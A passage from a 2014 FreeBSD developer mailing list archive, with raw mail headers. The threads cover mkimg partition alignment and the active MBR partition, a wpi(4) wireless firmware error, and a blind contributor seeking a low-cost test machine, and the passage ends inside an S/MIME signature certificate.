ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 7A40128A7; Thu, 22 May 2014 20:33:24 +0000 (UTC) Received: by mail-qg0-f54.google.com with SMTP id q108so6632750qgd.13 for ; Thu, 22 May 2014 13:33:23 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=Ie7uv6Wj+Iw/rDV6/UNGAIocWw3xAdxULbz21prH/ek=; b=PimkyEoPzxmq+mNYGmG9f/zgHTwNrBjLQDgtOSlp9D2jwVVcORPCIH6U8zaR15Q3ft squpTdvepwk/aUYUkYJLt0rd/BY9VSZufLsitEb0nQwj+TJHtMwfUTIJmf36pq6dZzps EmJhAhrNZOUnCbzgqX6tdW3UnCEErDRxHgEDZuSO3Bd28ZfWWc+RvbeQrcVppljkAmgx Oq6P+dFiXfcGnJsTwix3j2g7t7Inq8XrSiYq1ZZwrYefJLOo+y/uDlxJQ6fCfCrQDyUR yd+bZjjZGUUHU2+GosEeS/nDkx0vCfCz+4JMFvuh0u+ZMjTOxsHdkh9QxyugLSWrLwEQ GBGA== MIME-Version: 1.0 X-Received: by 10.140.48.1 with SMTP id n1mr17344059qga.107.1400790803661; Thu, 22 May 2014 13:33:23 -0700 (PDT) Received: by 10.96.84.232 with HTTP; Thu, 22 May 2014 13:33:23 -0700 (PDT) In-Reply-To: References: Date: Thu, 22 May 2014 14:33:23 -0600 Message-ID: Subject: Re: Patch to tech mkimg about the TMPDIR variable From: Dan McGregor To: Marcel Moolenaar Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: "freebsd-hackers@freebsd.org" , Alan Somers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 20:33:24 -0000 On 22 May 2014 14:27, Marcel Moolenaar wrote: > On 5/22/14, 1:18 PM, "Marcel Moolenaar" wrote: >>> >>>The next itch I want to scratch is a way to set the active partition >>>on an MBR image. >> >>I thought I made the first partition active by default. >>I guess not=E2=80=A6 > > Yes, I did! > > The gotcha is that mkimg only does that if you give it > a boot code file. Try that... Also, while I'm thinking about it, the other thing I wanted was a way to specify the origin of a partition. So as an example (units are sectors): 0: MBR table 2-63: empty 64-2047: first partition data 2048-$end: second partition data The use case for this is some other boards (Wandboard for me) puts u-boot as raw data 1K into the image. Dan From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 21:13:56 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DEB48A07; Thu, 22 May 2014 21:13:56 +0000 (UTC) Received: from mail.ignoranthack.me (ignoranthack.me [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id BEBD72C5B; Thu, 22 May 2014 21:13:56 +0000 (UTC) Received: from [10.12.72.220] (unknown [69.164.56.1]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id 030E5194138; Thu, 22 May 2014 21:13:55 +0000 (UTC) Subject: thread jack, wpi(4) fatal firmware error From: Sean Bruno Reply-To: sbruno@freebsd.org To: Edward Tomasz =?iso-8859-2?Q?Napiera=B3a?= In-Reply-To: <3am0iq7vn2l3np23f77vm5hm.1400781279549@email.android.com> References: <3am0iq7vn2l3np23f77vm5hm.1400781279549@email.android.com> Content-Type: text/plain; charset="us-ascii" Date: Thu, 22 May 2014 14:13:55 -0700 Message-ID: <1400793235.1069.7.camel@bruno> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 21:13:57 -0000 On Thu, 2014-05-22 at 10:54 -0700, Sean Bruno wrote: > Restarting the interface manually works. > > > so, interesting. iwi(4) seems to do the same thing. I'm not sure > > what's up, but I've been trying to pin it down. > > It seems to already have the required code, iwi_restart(). Doesn't > it work? > Oh, well that explains the confusion, this is wpi(4) not iwi(4) ... sean From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 21:24:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 73464C3F; Thu, 22 May 2014 21:24:00 +0000 (UTC) Received: from mail-qc0-x235.google.com (mail-qc0-x235.google.com [IPv6:2607:f8b0:400d:c01::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 204892D40; Thu, 22 May 2014 21:24:00 +0000 (UTC) Received: by mail-qc0-f181.google.com with SMTP id m20so6726244qcx.40 for ; Thu, 22 May 2014 14:23:59 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=xThoOUqXK2Qg/TSKFL5GXw8APmcTh8fIw2Va84OZSz4=; b=jXwc6fUBIVCPe09p3QpevrgyJ9LO+aPrKTO7ZNVWcr9C97/E96POtiK/+9ORpqmiYo /EnKRD60oLsxunCAZEO9ZiuVkhUr69IuiucFzcngpT9ZTQMEalvjREtl+OM2qe0JNyTE yuYJmKlY/jOaGErbUqhKkrNQ8NvrvnhxrahK+P7mkM7ELKi8c0MIdJKoy6Y7b91CHbxy 54fh4B5gtvmMchOJvWQNkB+DS/m6OeY55aE+T5ClDOQ2I+D/oGb0lcGe2x1CnPjXAL6o vz1kqLPIRAb0tjPlKetwI4amFYcIX0FX441Hu75oQX0Vi9SXqgdlscROdVxxSX9CzEC1 HfkQ== MIME-Version: 1.0 X-Received: by 10.140.48.161 with SMTP id o30mr633475qga.68.1400793839035; Thu, 22 May 2014 14:23:59 -0700 (PDT) Received: by 10.96.84.232 with HTTP; Thu, 22 May 2014 14:23:58 -0700 (PDT) In-Reply-To: References: Date: Thu, 22 May 2014 15:23:58 -0600 Message-ID: Subject: Re: Patch to tech mkimg about the TMPDIR variable From: Dan McGregor To: Marcel Moolenaar Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: "freebsd-hackers@freebsd.org" , Alan Somers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 21:24:00 -0000 On 22 May 2014 14:45, Marcel Moolenaar wrote: > On 5/22/14, 1:33 PM, "Dan McGregor" wrote: > >>On 22 May 2014 14:27, Marcel Moolenaar wrote: >>> On 5/22/14, 1:18 PM, "Marcel Moolenaar" wrote: >>>>> >>>>>The next itch I want to scratch is a way to set the active partition >>>>>on an MBR image. >>>> >>>>I thought I made the first partition active by default. >>>>I guess not=E2=80=A6 >>> >>> Yes, I did! >>> >>> The gotcha is that mkimg only does that if you give it >>> a boot code file. Try that... >> >>Also, while I'm thinking about it, the other thing I wanted was a way >>to specify the origin of a partition. So as an example (units are >>sectors): >> >>0: MBR table >>2-63: empty >>64-2047: first partition data >>2048-$end: second partition data >> >>The use case for this is some other boards (Wandboard for me) puts >>u-boot as raw data 1K into the image. > > There are 2 ways to do that already: > 1. Set the physical sector size. The mkimg will align > partitions to physical sector boundaries. A 1K or > 4K physical sector size is not weird. This works > well with GPT, APM, etc. > 2. Set the number of sectors/track. The MBR scheme > will align partitions to track boundaries. This > works well with MBR & EBR. > > HTH, Thanks, that works. It's even documented. I don't know how I missed that. Now all that's needed is the ability to stuff random non-partition data into an image, but dd works as well as anything for that ;) Dan From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 01:47:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E6DF7EB1 for ; Fri, 23 May 2014 01:47:54 +0000 (UTC) Received: from tds-solutions.net (tds-solutions.net [192.99.32.153]) by mx1.freebsd.org (Postfix) with ESMTP id BF8DD216B for ; Fri, 23 May 2014 01:47:54 +0000 (UTC) Received: from tds-solutions.net (localhost [127.0.0.1]) by tds-solutions.net (Postfix) with ESMTP id 0F0AAFEE09 for ; Thu, 22 May 2014 21:42:19 -0400 (EDT) X-Virus-Scanned: amavisd-new at tds-solutions.net Received: from tds-solutions.net ([127.0.0.1]) by tds-solutions.net (tds-solutions.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id vS8vIuwxHCpN for ; Thu, 22 May 2014 21:42:18 -0400 (EDT) Received: from [192.168.1.35] (24-177-51-95.dhcp.oxfr.ma.charter.com [24.177.51.95]) (Authenticated sender: sorressean) by tds-solutions.net (Postfix) with ESMTPSA id 9EB37FECD2 for ; Thu, 22 May 2014 21:42:18 -0400 (EDT) Message-ID: <537EA775.6040601@tysdomain.com> Date: Thu, 22 May 2014 21:42:13 -0400 From: "Littlefield, Tyler" Reply-To: tyler@tysdomain.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: "freebsd-hackers@freebsd.org" Subject: looking for a platform for contributions Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 01:47:55 -0000 Hello all: I have a lot of free time and really wanted to start contributing to FreeBSD. I have one issue I was hoping someone could help: I am blind and am currently using a Soyoustart server for my main server after transitioning. I am currently a bit lost in terms of actually getting running with a bsd system. I obviously don't have the money to pay for a new dedicated server; are there reasonable hosts where I can just quickly reinstall BSD so I can test/etc? Obviously price is an issue. If not, is there a good resource where I can get a vmware VM that's already set up with 10/ssh or something similar? My only limitation right now is just getting something installed so I'm not "testing" on my stable server. Thanks, -- Take care, Ty http://tds-solutions.net He that will not reason is a bigot; he that cannot reason is a fool; he that dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 03:47:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 640D5D76 for ; Fri, 23 May 2014 03:47:49 +0000 (UTC) Received: from alogt.com (alogt.com [69.36.191.58]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 35B9B2B71 for ; Fri, 23 May 2014 03:47:49 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=alogt.com; s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date; bh=LnBD2usdOdrazvLz8JpkmrzRhjE35KKb0UPud3FP7cE=; b=q3LmbxAHeGaFWQdMtxcnomzWQKXvn5hPhvpDdGp63g9n6shVaZsR7HQQslPt+UN+nawInRNVaWbEMaDcU+TOKlaihMdnmJVHUilOAgvhVpwVcCAlJxDE+t+0CaPRPFgYX60KrHRfbXdGWI3ThALhyiJL+mJy7hhPwMFEBml+BPM=; Received: from [182.9.88.60] (port=35306 helo=X220.alogt.com) by sl-508-2.slc.westdc.net with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WngSP-003VlN-QJ; Thu, 22 May 2014 21:47:46 -0600 Date: Fri, 23 May 2014 11:47:39 +0800 From: Erich Dollansky To: tyler@tysdomain.com Subject: Re: looking for a platform for contributions Message-ID: <20140523114739.2a89a9b0@X220.alogt.com> In-Reply-To: <537EA775.6040601@tysdomain.com> References: <537EA775.6040601@tysdomain.com> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - sl-508-2.slc.westdc.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - alogt.com X-Get-Message-Sender-Via: sl-508-2.slc.westdc.net: authenticated_id: erichsfreebsdlist@alogt.com X-Source: X-Source-Args: X-Source-Dir: Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 03:47:49 -0000 Hi, On Thu, 22 May 2014 21:42:13 -0400 "Littlefield, Tyler" wrote: > Hello all: > I have a lot of free time and really wanted to start contributing to > FreeBSD. I have one issue I was hoping someone could help: > I am blind and am currently using a Soyoustart server for my main > server after transitioning. I am currently a bit lost in terms of > actually getting running with a bsd system. I obviously don't have > the money to pay for a new dedicated server; are there reasonable > hosts where I can just quickly reinstall BSD so I can test/etc? > Obviously price is an issue. If not, is there a good resource where I > can get a vmware VM that's already set up with 10/ssh or something > similar? My only limitation right now is just getting something > installed so I'm not "testing" on my stable server. > I use a simple thumb drive for testing when needed. The normal work is done via the hard disk but the test installations are always done on a removable media. Would this be of help for you? Erich From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 04:15:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 999F2431 for ; Fri, 23 May 2014 04:15:10 +0000 (UTC) Received: from mail-ig0-x234.google.com (mail-ig0-x234.google.com [IPv6:2607:f8b0:4001:c05::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 575BB2D83 for ; Fri, 23 May 2014 04:15:10 +0000 (UTC) Received: by mail-ig0-f180.google.com with SMTP id c1so226649igq.7 for ; Thu, 22 May 2014 21:15:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=PRXZmE3wXrCIEuQebmatLnt9DvrMdKAnlQTJNBfbBfQ=; b=gLCEqAwOoZH6DM8Nmv9RsDu2AaoIMsL9rEViN45f9MQCCHmZ3vGf388Ff1E8bb4ToP NHS7OzT4LQ9YShHyNmEQIPiUEwDnbCPsk6Xqv8HCni2jdREx+9rsVamChw0XRQ9ImBaj XAYC6YY+12oTrfUnKKsyvsQJ/ap9tpf66v2ww= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=PRXZmE3wXrCIEuQebmatLnt9DvrMdKAnlQTJNBfbBfQ=; b=bNYf0XYqcLr2i5T/Z+gmadzMIjWpFytPwaMmlnZbjVhJVhgC+pJM63ihjj1LNl+s1p HD8lxz6OwnnmqqQB1H8FVaGbS/oIxT9i7r0WaL3ACBsCfEf6SDzKhaYD6AHgIn9jsN10 yktcsgSRMBGfGtqTgX8ve6dtYsuQ1p6hLJNXovNjhfbnHn/KZU0FHkoLQAp99UyHY5kX vABoLVnHFo58ZK4UxfAfzOTX7DTOG+lmoxgvYCuqYyXsjNsIAuvZCNKZqRD7TYgQJxkH Zi+c8i+QzQzKWmeQkFMdCSiJ4xE9E7tfoOkcnCdAKxA+le+cIC4cpBpzVl4wLBIjjOtO AG+Q== X-Gm-Message-State: ALoCoQmVznmgXoKAEtFSKGnc5stO/87dh9Uk46hQRNw5A/bPTcTl1fdT8dDzg84x2vf5SxP92ehZ X-Received: by 10.42.106.15 with SMTP id x15mr1735476ico.67.1400818508936; Thu, 22 May 2014 21:15:08 -0700 (PDT) Received: from [172.31.35.2] (75-128-101-59.dhcp.sgnw.mi.charter.com. [75.128.101.59]) by mx.google.com with ESMTPSA id e6sm1199050igq.6.2014.05.22.21.15.07 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 22 May 2014 21:15:07 -0700 (PDT) References: <537EA775.6040601@tysdomain.com> <20140523114739.2a89a9b0@X220.alogt.com> Mime-Version: 1.0 (1.0) In-Reply-To: <20140523114739.2a89a9b0@X220.alogt.com> Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-E74B52B0-65CE-4853-975B-2A2A1048A5BA; protocol="application/pkcs7-signature" Content-Transfer-Encoding: 7bit Message-Id: <85255CE8-B2E8-4019-861C-A27903DB2331@dataix.net> X-Mailer: iPhone Mail (11B554a) From: Jason Hellenthal Subject: Re: looking for a platform for contributions Date: Fri, 23 May 2014 00:15:04 -0400 To: Erich Dollansky X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" , "tyler@tysdomain.com" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 04:15:10 -0000 --Apple-Mail-E74B52B0-65CE-4853-975B-2A2A1048A5BA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable I cant imagine it'd be hard to create a fresh image already installed and co= nfigure for you to start with. Only would need to know what the requirements= are. Type of machine and size of the first hard drive. I could and would be= willing to wrap up a 10-STABLE VMDK appliance for virtual box if you'd like= at no charge.=20 --=20 Jason Hellenthal Voice: 95.30.17.6/616 JJH48-ARIN > On May 22, 2014, at 23:47, Erich Dollansky w= rote: >=20 > Hi, >=20 > On Thu, 22 May 2014 21:42:13 -0400 > "Littlefield, Tyler" wrote: >=20 >> Hello all: >> I have a lot of free time and really wanted to start contributing to=20 >> FreeBSD. I have one issue I was hoping someone could help: >> I am blind and am currently using a Soyoustart server for my main >> server after transitioning. I am currently a bit lost in terms of >> actually getting running with a bsd system. I obviously don't have >> the money to pay for a new dedicated server; are there reasonable >> hosts where I can just quickly reinstall BSD so I can test/etc? >> Obviously price is an issue. If not, is there a good resource where I >> can get a vmware VM that's already set up with 10/ssh or something >> similar? My only limitation right now is just getting something >> installed so I'm not "testing" on my stable server. > I use a simple thumb drive for testing when needed. The normal work is > done via the hard disk but the test installations are always done on a > removable media. >=20 > Would this be of help for you? >=20 > Erich > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= --Apple-Mail-E74B52B0-65CE-4853-975B-2A2A1048A5BA Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIUOTCCBjAw ggUYoAMCAQICAwaijjANBgkqhkiG9w0BAQsFADCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0 YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB MB4XDTEzMDUxODA4NTA0OFoXDTE0MDUxOTIyMDk0N1owSDEfMB0GA1UEAwwWamhlbGxlbnRoYWxA ZGF0YWl4Lm5ldDElMCMGCSqGSIb3DQEJARYWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBALgnYFS1bWZr3KhKBzWAdRwrY+En+RRV8nCaYubqrMG+ YJbuenaIKSbIuFiDWipW4RHYTpE28pKaSnaVTG9WtAZvsWj0gYN9g2fYCnCOUceES2Yvi3RavxpB hsuzKIfsHb8iNNSEuczLu6gn4mQyaHwE4x6xSUKmbK8njR+YoF522F60wjsnq5dlOJdTrhDfObE5 5P23279WbRp8azgZX1VRB66wdKRDuSI1vBts4Nsha2paXd6HUUduHrPACBQREJTGXN8XtEKVwo63 aKUhRgtUwHNEuSWck/xwVl7PBUWH2dORAWTCqHjNuCKNOQ1/0LMiyMj7FdsBjN4dgL4YZpsCAwEA AaOCAtwwggLYMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr BgEFBQcDBDAdBgNVHQ4EFgQU29qUrmZtgQ7ZVoDKogfpJOSfk+YwHwYDVR0jBBgwFoAUU3Ltkpzg 2ssBXHx+ljVO8tS4UYIwIQYDVR0RBBowGIEWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCAUwGA1Ud IASCAUMwggE/MIIBOwYLKwYBBAGBtTcBAgMwggEqMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9wb2xpY3kucGRmMIH3BggrBgEFBQcCAjCB6jAnFiBTdGFydENvbSBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTADAgEBGoG+VGhpcyBjZXJ0aWZpY2F0ZSB3YXMgaXNzdWVkIGFjY29y ZGluZyB0byB0aGUgQ2xhc3MgMSBWYWxpZGF0aW9uIHJlcXVpcmVtZW50cyBvZiB0aGUgU3RhcnRD b20gQ0EgcG9saWN5LCByZWxpYW5jZSBvbmx5IGZvciB0aGUgaW50ZW5kZWQgcHVycG9zZSBpbiBj b21wbGlhbmNlIG9mIHRoZSByZWx5aW5nIHBhcnR5IG9ibGlnYXRpb25zLjA2BgNVHR8ELzAtMCug KaAnhiVodHRwOi8vY3JsLnN0YXJ0c3NsLmNvbS9jcnR1MS1jcmwuY3JsMIGOBggrBgEFBQcBAQSB gTB/MDkGCCsGAQUFBzABhi1odHRwOi8vb2NzcC5zdGFydHNzbC5jb20vc3ViL2NsYXNzMS9jbGll bnQvY2EwQgYIKwYBBQUHMAKGNmh0dHA6Ly9haWEuc3RhcnRzc2wuY29tL2NlcnRzL3N1Yi5jbGFz czEuY2xpZW50LmNhLmNydDAjBgNVHRIEHDAahhhodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS8wDQYJ KoZIhvcNAQELBQADggEBAHsw8/Hw07gsNTKYnld74NBFtHnQOPkXYuccWx3j0PGQe9nqNxeingBf 2yvx+xBQzBoi4J1u84Jbrbe8Ii3+LLD/QMW9cN0SBIgRStPQLVee4STdjeabGmpXQa7omC02wYYO 83qh6CgJEIbmrsBSZH8ZSVrjkC4UmZS8wAQMS3qTWAPF0ZQGWx2+Gks2fXuacyt2LpNR+p9ogjAZ 1/rmUKjNhQZLswytaLRUdwAwSfQ3+TNs68h6Kv1LC3bNGBT3NEtr2q/nzzb5MzuFcDE6f9exroAC 4BHmokAprhna/vZdb6BrPjpXgRAlWAh3wEMxw75M9S/Nbzj/jNp+I+lvUJYwggY0MIIEHKADAgEC AgEeMA0GCSqGSIb3DQEBBQUAMH0xCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQu MSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMSkwJwYDVQQDEyBT dGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNzEwMjQyMTAxNTVaFw0xNzEwMjQy MTAxNTVaMIGMMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzE4MDYGA1UEAxMvU3RhcnRDb20gQ2xh c3MgMSBQcmltYXJ5IEludGVybWVkaWF0ZSBDbGllbnQgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDHCYPMzi3YGrEppC4Tq5a+ijKDjKaIQZZVR63UbxIP6uq/I0fhCu+cQhoUfE6E RKKnu8zPf1Jwuk0tsvVCk6U9b+0UjM0dLep3ZdE1gblK/1FwYT5Pipsu2yOMluLqwvsuz9/9f1+1 PKHG/FaR/wpbfuIqu54qzHDYeqiUfsYzoVflR80DAC7hmJ+SmZnNTWyUGHJbBpA8Q89lGxahNvur yGaC/o2/ceD2uYDX9U8Eg5DpIpGQdcbQeGarV04WgAUjjXX5r/2dabmtxWMZwhZna//jdiSyrrSM TGKkDiXm6/3/4ebfeZuCYKzN2P8O2F/Xe2AC/Y7zeEsnR7FOp+uXAgMBAAGjggGtMIIBqTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUU3Ltkpzg2ssBXHx+ljVO8tS4 UYIwHwYDVR0jBBgwFoAUTgvvGqRAW6UXaYcwyjRoQ9BBrvIwZgYIKwYBBQUHAQEEWjBYMCcGCCsG AQUFBzABhhtodHRwOi8vb2NzcC5zdGFydHNzbC5jb20vY2EwLQYIKwYBBQUHMAKGIWh0dHA6Ly93 d3cuc3RhcnRzc2wuY29tL3Nmc2NhLmNydDBbBgNVHR8EVDBSMCegJaAjhiFodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9zZnNjYS5jcmwwJ6AloCOGIWh0dHA6Ly9jcmwuc3RhcnRzc2wuY29tL3Nmc2Nh LmNybDCBgAYDVR0gBHkwdzB1BgsrBgEEAYG1NwECATBmMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3 LnN0YXJ0c3NsLmNvbS9wb2xpY3kucGRmMDQGCCsGAQUFBwIBFihodHRwOi8vd3d3LnN0YXJ0c3Ns LmNvbS9pbnRlcm1lZGlhdGUucGRmMA0GCSqGSIb3DQEBBQUAA4ICAQAKgwh9eKssBly4Y4xerhy5 I3dNoXHYfYa8PlVLL/qtXnkFgdtY1o95CfegFJTwqBBmf8pyTUnFsukDFUI22zF5bVHzuJ+GxhnS qN2sD1qetbYwBYK2iyYA5Pg7Er1A+hKMIzEzcduRkIMmCeUTyMyikfbUFvIBivtvkR8ZFAk22BZy +pJfAoedO61HTz4qSfQoCRcLN5A0t4DkuVhTMXIzuQ8CnykhExD6x4e6ebIbrjZLb7L+ocR0y4Yj Cl/Pd4MXU91y0vTipgr/O75CDUHDRHCCKBVmz/Rzkc/b970MEeHt5LC3NiWTgBSvrLEuVzBKM586 YoRD9Dy3OHQgWI270g+5MYA8GfgI/EPT5G7xPbCDz+zjdH89PeR3U4So4lSXur6H6vp+m9TQXPF3 a0LwZrp8MQ+Z77U1uL7TelWO5lApsbAonrqASfTpaprFVkL4nyGH+NHST2ZJPWIBk81i6Vw0ny0q ZW2Niy/QvVNKbb43A43ny076khXO7cNbBIRdJ/6qQNq9Bqb5C0Q5nEsFcj75oxQRqlKf6TcvGbjx kJh8BYtv9ePsXklAxtm8J7GCUBthHSQgepbkOexhJ0wP8imUkyiPHQ0GvEnd83129fZjoEhdGwXV 27ioRKbj/cIq7JRXun0NbeY+UdMYu9jGfIpDLtUUGSgsg2zMGs5R4jCCB8kwggWxoAMCAQICAQEw DQYJKoZIhvcNAQEFBQAwfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzAp BgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0 Q29tIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MDkxNzE5NDYzNloXDTM2MDkxNzE5NDYz NlowfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3Vy ZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0Q29tIENlcnRpZmlj 